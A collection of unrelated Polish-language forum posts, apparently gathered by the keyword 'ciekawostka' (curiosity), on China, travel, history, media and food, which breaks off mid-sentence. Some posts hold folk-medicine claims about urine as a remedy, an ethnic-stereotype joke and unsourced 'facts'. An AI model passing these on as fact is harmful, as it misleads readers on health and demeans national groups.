piąta częsć narodu - zginęło z głodu, na skutek uwięzienia, tortur bądź
egzekucji.

ratujtybet.org/

Posluchalem rad Teresy.Na spacerach wykonuje ekstra cwiczenia,podnoszenie rak i
nastepuje lepsze otwarcie klatki piersiowej,poprostu dostaje wiecej powietrza
szumy zniknely i zawroty glowy tez.Po powrocie do domu po kazdym spacerze spie
swietnie i rano jest okey.Natomiast ciekawostka kiedy sie bardzo przemecze
wracaja szumy i zawroty glowy,szczegolnie po dobrym stosunku.Unikam jak ognia
stresu i przemeczenia Terso jest lepiej.Pije herbatki chinskie i duzo
gotowanego.Mialas racje z ta diete,pomaga.
Jeszcze raz dzieki.Pzdr.Hans

Ja się też wygalam "na zero". Zaczęłam się golić jak pojawiły się pierwsze
włoski, po prostu nie lubię zarostu, u mężczyzn też wolę minimalistycznie. W
podstawówce na basenie wszystkie koleżanki dziwiły się, że jeszcze tam
nie "zarosłam", a ja po prostu cały czas się goliłam. Najczęściej stosuję
elektryczną golarkę, jednorazówki mnie podrażniają.
Ciekawostka: podobno większość Azjatów preferuje "Łysinki", łyse są gejsze,
łyse były chińskie kurtyzany...
Ola

Nie polecam Shanghaju jako miejsca na naladowanie akumulatorow - znam to miasto
z punktu widzenia turysty i z punktu widzenia mieszkanca (wlasnie zaczalem
pracowac). To moloch pelen zapracowanych i zabieganych ludzi. Ciekawostka jako
duze, nowoczesne miasto i pod tym wzgledem warte obejrzenia. Ale nie jako
miejsce wypoczynkowe. Co do chinskiej Wenecji pod Shanghajem to pewnie chodzi o
Suzhou. Ale nie spodziewaj sie tak urokliwego miejsca jak Wenecja. W Shuzou
jest co prawda kilka fajnych miejsc (ogrodow) ale to miasto lezy 30km od
Shanghaju i jest premanentnie najezdzane przez turystow, wiec ogrody sa pelne
ludzi, ulice wygladaja jak peryferyjne ulice Shanghaju. Bylem w Suzhou 2 razy i
trzeci juz by mi sie chyba nie chcialo. NIe wiem jak pozostale miejsca bo w
nich jeszcze nie bylem - pozazdroscic pracy i interesujacych woyjazy z nia
zwiazanych

Charyzmatyczny przywódca
Ciekawostka przyrodnicza: lewaccy dziennikarze i lewactwo piszące na tym forum
boleją, że w Niemczech nowy kanclerz (Pani Merkel) nie będzie "charyzmatyczna".

Po piersze, primo (jak mawiał pewien klasyk) w domu powieszonego nie powinno
mówić się o stryczku. Niemcy już przerabiały pewnego charyzmatycznego
kanclerza i wiadomo, z jakim skutkiem.

Po drugie, logika lewactwa jest taka: to nic, że facio rozwalił gospodarkę
Niemiec, pogmatwał z powodu urojeń o wielkości politykę zagraniczną Niemiec
(celem był antyamerykański sojusz Francja-Niemcy-Rosja-Chiny a zostało g....),
ale ważne, że był "charyzmatyczny".
Jan K.

Dania tam posłała wojsko po jakiejś wizycie dyplomaty kanadyjskiego i
wciągnięciu flagi Kanady na masz(tak to relacjonowały gazety grenlandzkie).

Zgadzam się, że Dania Grenlandii nie odpuści bo to żyła złota dla rządzących.
Z jednej strony Grenlandię się drenuje z drugiej drenuje się duńskiego
podatnika. Czy może być coś piękniejszego dla decydentów? I daje jakiś tam
rynek zbytu dla przedsiębiorstw, choć tam żyje zaledwie 60tys ludzi. A zwykły
Johansen może dostać roczny kontrakt za 4 krotność tego co zarabia w Danii.

Z ciekawostek: krewetki na Grenlandii są tylko w jednej formie: mrożonej.
Wszystko mrożą już na statkach i eksportują prosto do Chin.

A Grenlandczykom wmawia się że są beneficjentami. Po prostu Dania to jedna
wielka instytucja charytatywna.

poziom dziennikarstwa w GW - dno!
Mam nadzieje, ze GW nauczy sie kiedys aby przynajmniej podawac nazwy i nazwiska. Mowiac szczerze taki news jak powyzej nie jest wart funta klakow. Jaki portal? Nazwe prosze!! Jakies konkrety!!! Dziennikarstwo w tym kraju sie chyba stacza po rowni pochylej, kiedys takie wiadomosci byly publikowane w dziale ciekawostki lub "believe or not". Dostarczajcie rzetelnej i wyczerpujacej informacji, a nie wiadomosci na poziomie plot z magla. Chyba nie jestesmy czescia Chin, wiec mozna pisac o co chodzi!

do igora
istnieje pewna ciekawostka - otoz najwieksza wymiane handlowa chiny o ile sie nie myle maja z USA,najwieksze sa tam rowniez inwestycje USA a do tego dochodzi jeszcze 3 rzecz- otoz w stanach jest bardzo duza mniejszosc chinska.chiny nawet nie ukrywaja ze gra z europa o uzbrojenie to jeden wielki pic na wode - chinczycy i tak moga kupic lepsza i tansza bron u ruskich - chinczycy prowadza z europa zupelnie inna gre - chca zeby europa zniosla embargo bo spowoduje to ze stany beda musialy je rowniez zniesc - nie pozowola sobie na utrate chinskiego rynku - wiec chiny zachowuja sie jak panna ktora kokietuje jakiegos faceta aby inny zwrocil na nia uwage...

dobre stosunki rozwijane sa wg mnie poprzez silne powiazania handlowe oraz wymiane ludnosciowa - jesli ludzie z jednego kraju maja silna reprezentacje w drugim i sa lubiana mniejszoscia to jest to najlepsza droga do wytworzenia coraz lepszych kontaktow...

wbrew pozorom wiek XXI moze przyniesc cos zupelnie niespodziewanego - zamiast konfrontacji mocarstwowej chiny - USA moze raczej przyniesc bardzo ozywione zaciesnienie stosunkow - opartych glownie na ogromnych zyskach w wymianie handlowej.

Niedawno ogladalam reportaz z Chin,wlasnie o winach i winnicach!! Chinczycy
zamierzaja robic konkurencje Francji!
A tu ponizej inna "chinska" ciekawostka:

fakty.interia.pl/wiadomosci/news?inf=561727&blockName=PKL
ml

Niestety, znow sie musze chwalic - moim najstarszym wnukiem. Nie dosc, ze sie
dostal do najlepszego liceum w NY, ktore "urodzilo" 8 noblistow, o czym juz
pisalam, a teraz przyslano szczegolowy program. Dostal sie do dwoch klas
tzw. honorowych z biologii i chemii - po 8 godzin lekcyjnych we wspanialych
laboratoriach, oraz do: special math team. Wyjasniono w pismie, ze do klas
honorowych dostalo sie 100, ktorzy najlepiej zdali testy sposrod 620
przyjetych, a do teamu matematycznego 30 z najlepsza punktacja z testu
matematycznego sposrod tych stu. No i tu jest pies pogrzebany, chlopak wcale
nie chce isc do tego teamu, bo jest to w czasie lunchu i po lekcjach (widocznie
juz nie starcza czasu), pasjonuja go tamte przedmioty. Poziom matematyki w
szkole ma niski, ale babka stara polska metoda po prostu go przeuczyla
nadmiernie. Moze to nudne dla innych, ale rodzine, w tym mnie rozpiera radosc i
duma, wiec musialam napisac.
Ciekawostka. Jaki jezyk jest najbardziej oblegany? Japonski, nastepnie chinski -
mandarynski, z europejskich - hiszpanski (ze wzgledu na Ameryke Poludniowa).
Poniewaz bylo tak duzo chetnych na pierwsze dwa jezyki - zrobiono losowanie. No
i moj wnuk, ktory jako pierwszy wybor podal wlasnie japonski - wylosowal. Moj
drugi wnuk pyta, to O. nie bedzie umial zadnego europejskiego jezyka?
Zapomnial, ze angielski jest chyba jednak europejski.

> Do słynnych dań tej kuchni należą m.in. gotowane w sosie ślimaki, pieczone w
oleju mięso ostrygi,gotowany na parze czerwony karaś morski.

Nie wiedziałam, że ślimaki wystepują również w kuchni chińskiej. Wiem za to, że
już starożytni Rzymianie zajadali się ślimakami, jako pierwsi rozpoczęli
hodowlę gatunku, byli tak związani ze swoim przysmakiem, że zabrali go ze sobą
aż na Wyspy Brytyjskie, gdzie do dziś winniczka nazywa się rzymskim ślimakiem.
Więcej ciekawostek o ślimakach na www.slimaki.com.pl

bardzo ciekawe posty. W Harbinie bylem w 2001 i 2002 roku. odwiedzilem wowczas
polski cmentarz na Huangshan (o ile dobrze pamietam) juz za miastem i spotkalem
ludzi, ktorzy pamietali jeszcze pana Mariana Stokalskiego, ostatniego
harbinskiego Polaka, ktory wyjechal do Polski w 1993 roku(trudno powiedziec,ze
wrocil bo nigdy tam wczesniej nie byl).Niestety ten pan juz nie zyje, a moglby
opowiedziec tyle fascynujacych rzeczy! W bibliotece uniwersyteckiej w Lodzi sa
pojedyncze numery Listow Harbinskich i innych polskich czasopism wydawanych
niegdys w Harbinie.
Polski kosciol Sw. Stanislawa zostal zburzony w latach 90 i obecnie w jego
miejscu stoi budynek biurowo-mieszkalny,ale na jednym z pieter nadal dziala
katolicka kaplica.
Z ciekawostek mozna wspomniec, ze najstarszy browar w Chinach, zalozyl w
harbinie Polak - Wroblewski
Jesli masz jakies ciekawe informacje o Polakach w Harbinie, albo opowiesci
rodzinne odezwij sie do mnie na e-mail: wlodek.qi@gmail.com
pozdrawiam!

Ojejej!! Swietna stronka!!!! Dzieki:))

Sama teraz slucham chinskiego radia w necie, super muzyka:))

Ja mam tylko rozne ciekawostki od moich Chinskich kolegow i kolezanek:)
Np...na poludniu i w centrum Chin nie ma ogrzewania w zimie, wiec trzeba uzywac klimatyzacji, ktora jest podobno w kazdym domu:)))
Akademiki sa obowiazkowe, nawet jak sie mieszka w tym samym miescie (dziwne, co?)
Co symbolizuja gwiazdki na fladze Chin? Duza to partia a 4 dookola niej to lud:)))
Jezyk chinski obecny jest wersja uproszczona (nie no, latwozna;) Na Tajwanie jest dalej stara wersja:))
W Shanghaju jest ponad 100 McDonald's.....
itp itd.....takie oto ciekawostki:)) Mam ich jeszcze troche;)))))
Pozdrawiam!!!!!!

No coz, a ja zazdroszcze Braciom Czechom i Madziarom ich wlasnych slownikow
chinskiego. I pozostaje przy swoim zdaniu, ze taka pozycja jest absolutnie
niezbedna. Slownik hiszpansko - chinski powstal w Instytucie Mattego Ricciego w
Makao, sam kupilem go za 15 euro na wyprzedazy na poludniu Andaluzji. Jest zatem
dzielem Jezuitow, jako ciekawostke mozna powiedziec, ze uzytu transkrypcji
Wade-Giles. W Hiszpanii moze nie ma sinologii, ale bardzo duzo ostatnio ukazuje
sie prac o tematyce sinologicznej, a i Hiszpanow mozna spotkac na kazdym
wiekszym uniwersytecie w Chinach, wiec i pod tym wzgledem jestesmy daaaleko w
tyle za Spaniardami. I o ile pamiec mnie nie myli Hiszpania figuruje we
wspomnianym przeze mnie leksykonie na zasadach osobnego rozdzialu.
pozdrawiam!
ps.
wierze, ze ten "szwecki" i "kozysci" to wypadki przy pracy :)

ciekawostka....?
ONZ do wszystkich krajów świata rozesłało ankietę:

"Proszę uczciwie odpowiedzieć na pytanie, jak pani (pana) zdaniem -
należy rozwiązać problem niedostatku żywności w wielu regionach
świata".

Ankieta okazała się totalną porażką, ponieważ:

-W Afryce nikt nie wiedział, co to jest żywność.
-W Europie Wschodniej nikt nie wiedział, co to jest uczciwość.

-W Europie Zachodniej nikt nie wiedział, co to jest niedostatek.

-W Chinach nikt nie wiedział, co to jest własne zdanie.

-Na Bliskim Wschodzie nikt nie wiedział, co to jest rozwiązanie
problemu.

-W Ameryce Południowej nikt nie wiedział co znaczy proszę.

-W Ameryce Północnej nikt nie wiedział, ze są jakieś inne kraje na
świecie.

Podejrzewam że dowiemy się w następnym odcinku ;)
Ja nadal uważam że Hugo-Bader skupia się nieco zbyt na ciekawostkach i
śmiesznostkach więc może taki tytuł mu odpowiada a może jest po prostu ironiczny.
A propos dziekuje za rzeczowe i sensowne odpowiedzi na moje może nieco zbyt
napastliwe posty!

Jeśli chodzi o ten wywiad z ministrem to mi coś tu bardzo nie pasuje - albo nam
czegoś pan Hugo-Bader nie dopowiedział albo tłumaczenie nie najlepsze albo
minister jest dziwacznym chamem także według satndartów chińskich

Bo jeśli To może opowie mi pan minister o swojej pracy. zostało przetłumaczone
jako powiedzmy - ni neng tan yi tan nide gongzuo qingkuang czy coski takiego to
nieodpowiedzenie na to pytanie jest dziwne, to samo dotyczy reszty pytan.
Rafał Felbur zotal polecony przez prof Kasrello wiec raczej mozna przyjac ze
rzeczywiscie zna chinski dobrze.

odmawianie
W Polsce istnieje rzeczywiście bardzo podobny zwyczaj grzecznościowego
odmawiania, tylko o raz mniej: dwa razy odmówić, za trzecim się zgodzić.
Mieszkam w Portugalii, gdzie coś takiego praktycznie nie istnieje, i znajomi,
którzy tu przyjeżdżali z Polski, parę razy nie dostaliby posiłków, gdyby nie
moje interwencje. "Nie jestem głodny, dziękuję". Jak nie, to nie.
Ale opis Badera ma coś więcej, niż kulturowe ciekawostki o Chinach. Bader zwraca
uwagę na "postkomunizm", na kulturę związaną z tym bardzo dziwnym systemem.
Ciekawe, że prawie nikt z forumowiczów nie zwrócił na to uwagi. Przepełnieni
miłością do chińskiego narodu?

Kagan jak zwykle buja w oblokach
Kagan, szacunkowo wzrost PKB po wprowadzeniu podatku poglownego wynislby 100% w
ciagu 3-5 lat.

100% wzrostu PKB oznacza likwidacje bezrobocia w ciagu 24 miesiecy i oznacza
koniecznosc IMPORTOWANIA rak do pracy. Wzrost produktywnosci i konsumpcji jest
tak wielki, ze nie da sie osiagnac rownowagi i musi powstac brak rak do pracy.

Wtedy nastepuje pionowy wzrost plac.
Ciekawostka jest brak zmian cen na rynku, wynikajacy z faktu obecnego
przewartosciowania towarow przez podatki posrednie. Czyli likwidacja podatkow
kasowych powoduje spadek cen przy rownoczesnym dramatycznym wzroscie popytu i
podazy pieniadza! Akcja kredytowa wybuchnie tak jak w Chinach obecnie.

Kagan, zostawcie juz tych biednych bezrobotnych, bo z tej waszej troski,
bezrobocie staje sie zjawiskiem trwalym.

"Rosjanie to Slowianie" (ci nadwolzanscy?) to prawdziwa ciekawostka.
Skad pochodzi ten "rodzynek"? Z Lubianki, czy z Russ-Informa? ;-)
W pewnych kregach wzbudzilaby taka informacja prawdziwy szok. Kolega
ktory ja podal powinien upowszechnic zrodlo swej naukowej rewelacji!
Strzelam ze napisala to "Prawda" (ta z glowka Lenia w lewym rogu) - tak
"prawdziwa" jak radiowe oredzia Goebbelsa. I jak szczekanie Putina :(.
Proponuje jednak uczyc sie z podrecznikow a nie z gazet z czasow terroru.
70% obszaru Federacji Rosyjskiej lezy w Azji. Twierdzenie ze zyja tam
Slowianie jest podobnie idiotyczne jak twierdzenie ze Germanie zyja
w Chinach Ludowych i na Hawajach ;-)))
Ale piszcie dalej glupoty towarzyszu. Ku chwale Hitlera.. tfu! Lenina!
Polacy maja cierpliwy kontrwywiad..

Hej!
Sama szukałam informacji przed wyjazdem, na ten temat, więc doskonale Cię
rozumiem. Anek kuchenny to lodówka, kuchenka elektryczna z dwoma palnikami i
zlewozmywak. My mieliśmy apartament na cztery osoby, więc po 4 filiżanki ze
spodeczkami, duże talerze i głębokie. 4x podstawowe sztućce, 4x filiżanki do
napoju, jeden duży garnek, patelnia,taki tygielek do zaparzania kawy, sąsiedzi
mieli ekspres - my nie :(, deska do krojenia, nóż, brakowało mi większych
kubków - np do zupek chińskich, aha był taki litrowy żaroodporny
dzbanek. "Radio" było w ścianie i leciała cały czas grecka muzyka - 1 kanał.
Katai Maria s dwa budynki stojące naprzeciwko basenu. Raczej wszyscy byli
zadowoleni z lokum, zwłaszcza Ci co mieszkali dalej od ulicy, ten budynek był w
środku nowocześniej wyposażony. Zaskoczona byłam że nie było żadnych komarów,
cały czas natomiast szum cykad. Do plaży trzeba przejśc uliczkę (taki deptak) i
koł o hotelu Aleksander bardzo fajna plaża, bez kamieni (no sporadycznie...),
ale często była czerwona flaga z powodu dużych fal. raz na tydzień zmieniana
była pościel i dwa razy w tygodniu było sprzątane - mycie podłogi, nie
uzupełniają papieru toaletowego - to ciekawostka. Jak my byliśmy było jeszcze
bardzo gorąco więc spaliśmy tylko pod prześcieradłami, koce mogą być w
nienajlepszym stanie... Co jeszcze?

rozmowy szesciostronne na zywo w TV
Czy ogladacie moze CCTV?? - China Central TV?
Normalnie dostepne z kazdej anteny satelitarnej tak jak BBC i inne. Krytycy
podsmiechuja sie ze to takie chinskie CNN.
W kazdym badz razie na kanale 9 - (CCTV9) dostepne sa wiadomosci szczegolowe
ekonomiczne dotyczace rozwoju chinskiej gospodarki itp (taka moja praca i
zainteresowanie) i zupelnie przypadkiem trafilem na rozmowy szesciostronne
dotyczace Polwyspu Koreanskiego. zaraz po wiadomosciach byly pokazane wywiady
z szefami delegacji panstw uczestniczacych a takze na zywo poczatki
negocjacji, pokazuja ciagle co ciekawsze urywki... ot taka ciekawostka dla
sympatykow tematyki Koreanskiej

CCTV9 jest oczywiscie w jezyku angielskim.
natomiast sa jeszcze trzy kanaly po chiszpansku i francuzku.
ciekawostka jest kanal CCTV4 - po chinsku. Jesli ktos pasjonuje sie militariami
to tam znajdzie naprawde kasek dla siebie, otoz na tym kanale pokazuja
cwiczenia chinskiej armii (manewry), warto polowac.
Na CCTV9 dosc czesto pokazuja wiadomosci dotyczace KRLD... Jak ogladalem
kawalki dotyczace rozmow szesciostronnych to nie musze juz chyba dodawac ze
najbardziej sfrustrowana druzyne stanowili ci smieszni amerykanie z hillem na
czele, jak zawsze mieli najglpusze argumenty... tak banalne i latwe do wybicia
z reki - oczywiscie przez strone KRLD.

OSTATNIE POLSKIE POWSTANIE BYLO W 1866
Powstanie nosi nazwe zabajkalskie powstanie narodowe i mialo miejsce na
zabajkalu. Zorganizowali je zeslancy z powstania styczniowego w sile ok 500
osob.Powstancy chcieli przebic sie do Chin, jednak zostali rozgromieni przez
wojska carskie.Nie jestem historykiem , ale znam wiele ciekawych faktow z
naszej historii ojczystej ,o ktorych profesorowie historii nigdy nie
slyszeli.Pamietam jak profesor historii powiedzial , ze jedynym zwycieskim
powstaniem narodowym bylo powstanie wielkopolskie , ja odparlem nie tylko, bylo
jeszcze powstanie w Sejnach, profesor na to , gdyby cos takiego bylo to ja
pierwszy bym o tym slyszal . Wiecej ciekawostek w przyszlosci, na dzisiaj
dobranoc.

Jeszcze nie, ale u mnie to tylko kwestia czasu!

Ciekawostka z rec. Godlewskiego (GW): znów okazuje się, że Chińczycy byli
pierwsi: "Sędzia Di jest za to echem tradycji chińskiej noweli kryminalnej,
której początki sięgają czasów dynastii Sung (960-1279 r. n.e.)". W całym
tekscie dużo więcej o tej tradycji.

Może jako ciekawostka - strona Jarka Zawadzkiego, świetnego tłuamcza literatury... chińskiej, tym razem wziął się za przekłady polskiej poezji na angielski:

polish-poetry.chinese-polish-english.com/

Karp mi smakuje i jadam czesciej niz raz do roku.

Zwykle wlasnorecznie zlowiony.
W tym roku karpia na wigilie nie bedzie bo ostatnio zednego nie zlapalem a te
na rynku malutkie sa wiec osci w nich przeszkadzaja.

Wydaje mi sie rowniez ze karp hodowany w Polsce jest smakowo lepszy niz te
gdzie indziej.

No i jeszcze dodac nalezy ze aczkolwiek w Polsce karp jest ryba ceniona to w
wielu krajach (no wiekszosc anglosaskich) nie jest uwazany za rybe jadalna.
W Chinach tez karp nie jest ceniony i cena jest niska wiec prawie nikt nie
hoduje stad trudno dostepny.
Jako ciekawostke dodam, ze z ryb slodkowodnych jedna z najbardziej cenionych
przez Chinczykow jest karas.
Pamietam jak kiedys doznalem szoku na polnocy Chin widzac na rynku lokalnego
lososia i karasie w cenie 2 razy wyzszej niz losos.

Nie kupią. Chińskie auta nie m,ają większych szans na rynku jeszcze przez c
najmniej kilka lat. Na zachodzie cena nie będzie wystarzającym atutem, u nas
owszem - ale wyłącznie na rynku samochodów użytkowych. Po tyłku dostanie
Intrall, importerzy Gazeli itp. Jak rozwinie się sieć serwisowa, to chińskie
pikapy i furgony staną się dość częstym widokiem mna polskich drogach. Wśród
auto osobowych szanse mają jedynie takie jak Cherry QQ i to pod warunkiem a:
rozwinięcia sieci handlowej i serwisowej b: bardzo konkurencyjnej ceny,
powiedzmy max 15 tysięcy złotych c: przyzwoitej jakości. Zobaczymy jak będzie -
chińczycy szybko się uczą. A o autach japońskich i koreańskich też tak na
początku mówiono. Na koniec ciekawostka - pierwsze Toyoty dostarczone do USA
nie były w stanie dojechać ze statku do salonu, bo po drodze była ostra góra :D

poczytaj mi lektorze
napisy odpadaja - meczy nie czytanie, ale czytanie z ekranu. poza tym po takim
czytanym filmie nie wiem zbyt dobrze co działo sie na samym filmie - albo napisy
albo akcja (tak... ta w chinskich jest najbardziej wartka ;))
dubbing - koszmar...
wersja oryginalna - no własnie, a co z filmami chinskimi?
poza tym tv polska nazywa sie tak a nie inaczej poniewaz uzywa sie w niej z
lepszym badz gorszym skutkiem jezyka polskiego.
jesli lektor jest skansenem, to moze uda nam sie go eksportowac jako ciekawostke
z polski ;)
dla mnie dobry lektor jest najlepszym rozwiazanie :)
proponuje akcje "poczytaj mi lektorze"

Jeszcze jako ciekawostkę dodam, kiedy dzielni Rosjanie przystąpili do wojny z Japonią.

Byli zobowiązani w Jałcie do przystąpienia do wojny w przeciągu 3 miesięcy od końca wojny w Europie. Termin kończył się 8 sierpnia 1945.

6 sierpnia spadła bomba na Hiroszimę, 9 na Nagasaki.

Dzielni Rosjanie zaatakowali 8 sierpnia :)

Bezpośrednim skutkiem ataku było zdobycie Mandżurii, którą podarowali chińskim komunistom, dzięki czemu wojna w Chinach była przesądzona i zwycięska dla Mao. Dalszy ciąg komunizmu w tym kraju znamy.

w chinskich podrecznikach nadal przedstawia sie syberie jako chinska strefe
wplywow, w tej wojnie chodzilo o kilka wysp nad ussuri, miesiac temu putin
przekazal je chinom co narazilo go na krytyke ,,prawdziwych rosjan" z partii
Limonowa.A co do samej wojny w tym czsie przewaga technologiczna rosjan nad
chinami byla zbyt duza by nie mogli tej potyczki wygrac bo wojna tego incydentu
raczej nie mozna nazwac.Jako ciekawostka podam ze rosja w jezyku chinskim
znaczy glodny kraj, a cesarze chinscy do 19 wieku mysleli ze car rosji jest ich
poddanym i ma im placic coroczny trybut.

Kiedyś przeczytałem w jakimś artykule opinię wg której ChRL "dostało"
dokumentację Lavi. Ponadto mieli mieć również dostęp do pakistańskich F-16 (inne
spekulacje na temat korzeni radaru).
Co do firm izraelskich - tak jak pisał A.L. - zapewne kręciła się tam Elta
(podobnie jak i przy próbach modernizacji np. J-8).
Cytat, ciekawostka, znaleziony w sieci:
"According to some reports, an early prototype known as the 8810 was completed
in 1993 as a virtual clone of the Lavi including an F-100 turbofan engine."
www.china-defense.com/aviation/chinese_fighter_development/chinese_fighter_development-6.html
Spora część problemów wynikała ponoć z przebudowy pod AL-31F.
Pozdr.

Wracajac do okretow podwodnych to polecam strony baz szczegolnie Groton-New
London i Kings Bay. Groton zwiedzilem kilka lat temu (Nautilus)a do Kings Bay
zamierzam sie wybrac. Widzialem jeszcze lodz niemiecka w Muzeum Techniki
w ....Chicago.
Dla tych co interesuja sie sovieckim zlomem dobra wiadomosc. W Long Beach CA
mozna zobaczyc soviecka lodz podwodna B-427 klasy Fokstrot zbudowana w 1972.
www.russiansublongbeach.com W roli przewodnika prawdziwy kapitan Kolosov.
Odpowiada na wszystkie pytania (no moze nie na wszystkie) Widac wiec wyraznie
ze tak naprawde to ta epoka juz minela. Zlomu nie brakuje. I to zarowno
amerykanskiego jak i sovieckiego. Soviet i USA staraja sie to sprzedawac
a biedne kraje kupowac to zelastwo. Przesadzone sa obawy Chinami.
Kraj ten tak naprawde podskoczyc nie moze podobnie jak Japonia. A to na skutek
braku ropy. Chiny musza byc grzeczne i sa a tak naprawde to chodzi o Tajwan.
Tajwan wroci do Chin. Ciekawostka moze byc sama budowa lodzi podwodnych.
Obecnie nieogranicza sie ona do stoczni. Tam nastepuje jedynie montaz. Calosc
montowana jest z segmentow ktore sa budowane w roznych czesciach kraju i
przesylane do stoczni.Co ciekawe nie dotyczy to wylacznie skorupy ale rowniez i
instalacji wewnetrznych.

Pamietajcie, kochane , ze w niektorych przesadach cos jednak tkwi. Teraz nam sie wydaja glupie , ale zdje mi sie ze pewna czesc miala swoj sens . Otoz taka ciekawostka zwiazana z usuwaniem plesniawek moczem dziecka: Otoz w dawnych Chinach arystokraci myli zemby i plukali jame ustna moczem malych dzieci (ciekawe jak pozyskiwali ten specyfik ). A jedno co moza przyznac chinczykom ze w dziedzinie higieny wyprzedzli Europe dosc mocno.

Też od wczoraj mam takie same problemy, nagminnie. Strony się urywają, wiszą lub wyskakuje komunikat że dokument nie zawiera danych. Wczoraj o północy jakby puściło ale dziś to reguła. Na dwóch różnych przeglądarkach. Nie zauważyłem różnicy bez logowania czy z logowaniem.

Ale wyszła mi pewna ciekawostka. Jak połączyłem się przez pierwsze lepsze proxy (Egipt, Chiny) to efekt urywania nie wystąpił ani razu.

Trochę się, widząc ten wątek, pocieszyłem że to nie u mnie walnęło.

to synie powiedz ,albo spytaj sie taty ,ze jako parlamentarzysta byl rekordzista
- podroznikiem na koszt podatnika... i to sa fakty... jak to wytlumaczysz? caly
swiat zwiedzil niby sluzbowo na koszt panstwa... i nie wypieraj sie , nie bron,
bo jedna ciekawostke z podrozy do chin przytocze...pozdro

pole namiotowe( nie dla przyczep) nad jeziorem Nant Gwynant, przed
miejscowoscia Beggelert(albo cos takiego-walijski to jak chinski)pod samym
snowdonem(prawie), koszt w zeszlym roku za osobe za noc 3,5 plus chyba funta za
samochod, mozna swojego grilla albo od nich kupic drewna i palic na stojakach,
kajaki chyba dwojki za godzine 7 funtow, zadnych kart, koni nie probowalam, do
morza pol godziny jazdy samochodem, dla ludzi lubiacych gory raj, trzeba miec
mape i kompas ale to dla tych co juz lubia lazic, a latwe sciezki sa widoczne,
na snowdon moznz wjechac stara pufcia( to dla dziecisuper)zaznaczam ze
trudniejsz trasy nie sa oznaczone( zapomnijmy o szlakach zielonym, czerwonym
niebieskim o czarnym)wiec kompas jak znalazl, z ciekawostek to podam ze tam
cwiczyl sie sir Edmund Hilary z druzyna przed zdobyciem Everestu,na ten
camping nie trzeba rezerwacji jedziesz i sie rozbijasz,ten camping znam ale
jest ich tam mnostwo i nie sadze zeby miejsca braklo!!!! mili ludzie i jest
super

samo napisała:

> Bardziej niz na przekorna wygladasz mi na upierdliwa.

to tez

> Moze w twoim otoczeniu nie ma juz swiezego powietrza? Wlasnie dlatego uzywasz
> klimatyzacji.

Wiesz jak dziala klimatyzacja?

Reszty tekstu nie komentuje, mam wrazenie czasami ze jestes
> jedyna tutaj osoba, ktora bawia twoje watpliwej jakosci docinki, podobne do tej
>
> z watku o telefonach komorkowych.

idz zapal, dotlen sobie mozg "swiezym" dymkiem

> Niewatpliwie kazda osoba jezdzaca w tym kraju SUV ma ku temu tysiace powodow.
> Az strach pomyslec jak ludzie zyli, kiedy samochody byly 2 razy mniejsze, a
> przecietne rodziny 2 razy wieksze.

yeah yeah, blah blah, a srednio dozywali 50! pomimo "swiezego powietrza" ale jak wiadomo nie od
dzis nie samym powietrzem czlowiek zyje, zreszta porownaj sobie zanieczyszczenie powietrza w
Chinach gdzie przecietnego obywatela zwyczajnie nie stac na SUV (8 aut na 1000 mieszkancow) a
mimo to sytuacja ma sie gorzej niz w USA (950 aut na 1000 mieszkancow, ale Chiny to przebija w
2025)

ciekawostka: unstats.un.org/unsd/cdb/cdb_dict_xrxx.asp?def_code=489

Mur

Gość portalu: zbalansowany napisał(a):

> Gość portalu: Tomek44 napisał(a):
>
> > Problem polega na tym, ze ten mur, to zwykla siatka, tyle, ze elektroniczn
> a
> > (nie elektryczna). Ciezko na niej pisac.
> > Elektroniczna - podlaczona jest do monitorow i kazde jej naruszenie pokaz
> ane
> > jest natychmiast na ekranie.
> > To jest ten wielki mur!
>
> Tomeczku, co tobie?
> Nie chce mi sie szukac po internecie ale ja to wasze monstrum widzialem na
> reportazach. Przy tym mur berlinski to zywoplot!!!!

Tomek ma racje. Mozesz wyobrazac sobie co chcesz, ale ten "mur" to system
zlozony z plotu o mniej wiecej 3 m. wysokosci, zrobionego ze specjalnej siatki
z czujnikami elekronowymi, zasieki z drutu kolczastego i piaszczystej drogi na
ktorej latwo widac slady. W sumie caly ten "mur" jest zupelnie przezroczysty.

Taki to "mur" spelnia calkiem niezle swoje zadanie na granicy z Libanem i
prawdopodobnie bedzie dosc skuteczny na granicy z Palestyna. Jako ciekawostke
dodam, ze firmy izraelskie zainstalowaly podobne systemy w Polsce (oczywiscie
nie na granicach).

Mozliwe, ze widziales na zdjeciach fragment murowanego plotu, ktory oddziela
palestynskie miasto Kalkilya od nowo zbudowanej autostrady, biegnacej tuz
obok, na izraelskich terenach. Plot ten ma zaslonic autostrade przed
palestynskimi snajperami. Na pewno slyszales o jednym z ostatnich sukcesow
terrorystow palestynskich i smierci 7 letniej izraelskiej dziewczynki,
postrzelonej w jadacym autostrada aucie. Moze jednak nie wiesz, ze przeszli
oni przez niestrzezony dostatecznie kanal sciekowy w tym plocie. Taki
to "chinski mur".

Nie wiem czy sprostam, ale...

Sekcja arabska VOA istniala niemal od poczatku rozglosni (poczatkowo nadawala
z Rodos). Niemniej jednak zasieg i zakres programu byl ograniczony.
SAWA nadaje szereg godzin dziennie zarowno wiadomosci miedzynarodowe i
amerykanskie, jak i relacje o wydarzeniach szczegolnie waznych na Bliskiego
Wschodu. Informuje tez o zyciu Arabow w USA, w tym o islamie tamze, a takze
nadaje wiadomoci o wydarzeniach kulturalnych, spolecznych i muzyke mlodziezowa.
Wedlug pierwszych ankiet radio jest popularne, zwlaszcza wsrod arabskich
studentow i inteligencji mimo ogolnie krytycznego w rejonie stosunku do
polityki Waszyngtonu.

To samo, mutatis mutandis, powiedziec mozna o radiu i telewizji FARDA
(Przyszlkosc, w farsi), ktore robia w Waszyngtonie, niezaleznie od sekcji
perskiej, mlodzi Iranczycy wyksztalceni juz w USA. Adresatem jest iranska
mlodziez, a trzeba wiedziec ze 70% spoleczenstwa iranskiego to ludzie ponizej
30tego roku zycia(!) Z nimi wlasnie Waszyngton wiaze najwieksze nadzieje na
demokratyczne zmiany w Teheranie bez koniecznosci rozlewu krwi i interwencji
zbrojnej z zewnatrz. A no, zobaczymy...

Jesli nie w tym roku, to w przyszlym zakoncza emisje sekcje polska, czeska ,
wegierska, slowenska oraz sekcje baltyckie, istniejace juz i tak tylko w
postaci szczatkowej. Czy jest to posuniecie madre- nie wiem, ale
prawdopodobnie stanie sie niedlugo faktem.

Ciekawostka: Najwieksza sekcja jezykowa Glosu Ameryki jest obecnie nie serwis
rosyjski (ten znacznie sie od lat 90tych skurczyl), ale chinski, nadajacy
